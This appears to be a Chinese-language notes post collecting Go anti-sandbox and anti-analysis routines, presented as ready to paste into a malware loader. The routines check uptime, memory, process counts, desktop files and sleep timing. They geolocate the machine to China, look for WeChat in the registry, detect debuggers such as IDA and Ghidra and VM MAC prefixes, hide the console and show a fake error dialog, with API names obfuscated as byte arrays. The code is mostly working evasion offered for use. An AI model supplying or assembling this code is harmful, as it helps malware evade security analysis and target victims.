学习和记录各种反沙箱的手段,均使用go实现。在编写loader时可以直接拿来使用
如果当前操作系统没有超过三十分钟就退出
func BootTime() bool { kernel := syscall.NewLazyDLL(string([]byte{ 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', })) GetTickCount := kernel.NewProc("GetTickCount") r, _, _ := GetTickCount.Call() if r == 0 { return false } ms := time.Duration(r * 1000 * 1000) tm := time.Duration(30 * time.Minute) if ms < tm { return false } else { return true } }
获取系统的内存,将获取到的内存总量除以``1048576`转换成GB来判断是不是小于4GB。
func PhysicalMemory() bool { var mod = syscall.NewLazyDLL(string([]byte{ 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', })) var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory") var mem uint64 proc.Call(uintptr(unsafe.Pointer(&mem))) mem = mem / 1048576 fmt.Printf("物理内存为%dG\n", mem) if mem < 4 { return false } return true }
如果没有超过60个就自动退出。
import "github.com/shirou/gopsutil/process" func ProcessCount() bool { processes, err := process.Processes() if err != nil { return false } // fmt.Printf("当前进程数量: %d\n", count) if len(processes) < 60 { return false } return true }
判断当前ip是否位于国内
func IP() bool { url := "https://myip.ipip.net/" var s string err := requests.URL(url).ToString(&s).Fetch(context.Background()) if err!= nil { return false } if !strings.Contains(s, "中国") { return false } return true }
检查当前用户的注册表中是否有微信的安装路径信息。
func Wechat() bool { k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE) if err != nil { return false } defer k.Close() s, _, err := k.GetStringValue("InstallDir") if err != nil || s == "" { return false } return true }
如果语言是英文的则不符合国内使用习惯,大概率是虚拟机或是沙箱。
func Language() bool { l := os.Getenv("LANG") if strings.Contains(l, "en_US") { return false } return true }
如果存在则表示系统配置了页面文件。
func Profile() bool { _, err := os.Stat("C:\\pagefile.sys") if os.IsNotExist(err) { return false } else if err != nil { return false } return true }
获取用户桌面的路径,然后统计该目录下面非目录项的数量,如果文件数量小于7则退出。
func DesktopFile() bool { desktopPath, err := os.UserHomeDir() if err != nil { return false } desktopPath = filepath.Join(desktopPath, "Desktop") fileCount, err := countFilesInDir(desktopPath) if err != nil { return false } if fileCount < 7 { return false } return true } func countFilesInDir(dirPath string) (int, error) { var fileCount int err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error { if err != nil { return err } if !info.IsDir() { fileCount++ } return nil }) if err != nil { return -1, err } return fileCount, nil }
可以先设置一个弹框,沙箱如果没有自动模拟点击的情况下就不执行恶意代码。
import "github.com/gen2brain/dlgs" func start() { _, err := dlgs.Info("提示", "打开失败!") if err != nil { os.Exit(-1) } }
import "github.com/lxn/win" func main() { win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) }
就是让当前的线程休眠10秒,然后对比实际的睡眠时间。
func TimeSleep() bool { start := time.Now() time.Sleep(10 * time.Second) end := time.Since(start) if end >= 10*time.Second { return true } else { return false } }
检测系统中是否允许了调试器,MAX_PATH指的就是文件路径的最大长度,遍历所有的进程与黑名单进行比较
var blacklistDBG = []string{ "IDA", "OLLY", "WINDBG", "GHIDRA", } const MAX_PATH = 260 func DetectDBG() bool { handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0) if err != nil { return false } pe32 := syscall.ProcessEntry32{} pe32.Size = uint32(unsafe.Sizeof(pe32)) err = syscall.Process32First(handle, &pe32) for err == nil { exeFile := strings.ToUpper(syscall.UTF16ToString(pe32.ExeFile[:MAX_PATH])) for _, pn := range blacklistDBG { if strings.Contains(exeFile, pn) { return true } } err = syscall.Process32Next(handle, &pe32) } if ret, _, _ := syscall.NewLazyDLL(string([]byte{ 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', })).NewProc(string([]byte{ 'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't', })).Call(); ret != 0 { return true } return false }
检测当前环境是否可能是虚拟机环境,调用Windows API来检测CPU虚拟化标志,以及runtime.NumCPU()
返回的处理器核心数量,少于2个则判断为虚拟机。然后判断系统总物理内存 ullTotalPhys
如果小于 1<<31(也就是2的31次方,即2GB)判断为虚拟机。
import "github.com/klauspost/cpuid" type memoryStatusEx struct { dwLength uint32 dwMemoryLoad uint32 ullTotalPhys uint64 ullAvailPhys uint64 ullTotalPageFile uint64 ullAvailPageFile uint64 ullTotalVirtual uint64 ullAvailVirtual uint64 ullAvailExtendedVirtual uint64 } func checkResource() bool { if cpuid.CPU.VM() { return true } memStatus := memoryStatusEx{} memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus)) if ret, _, _ := syscall.NewLazyDLL(string([]byte{ 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', })).NewProc(string([]byte{ 'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x', })).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 { return false } if runtime.NumCPU() < 2 || memStatus.ullTotalPhys < 1<<31 { return true } return false }
判断网络接口卡 (NIC) 的 MAC 地址前缀来判断当前环境是否在某些虚拟机软件中运行
var blacklistedMacAddressPrefixes = []string{ "00:1C:42", // Parallels "08:00:27", // VirtualBox "00:05:69", // | "00:0C:29", // | > VMWare "00:1C:14", // | "00:50:56", // | "00:16:E3", // Xen } func checkNic() bool { interfaces, err := net.Interfaces() if err != nil { return false } for _, iface := range interfaces { macAddr := iface.HardwareAddr.String() if strings.HasPrefix(iface.Name, "Ethernet") || strings.HasPrefix(iface.Name, "以太网") || strings.HasPrefix(iface.Name, "本地连接") { if macAddr != "" { for _, prefix := range blacklistedMacAddressPrefixes { if strings.HasPrefix(macAddr, prefix) { return true } } } } } return false }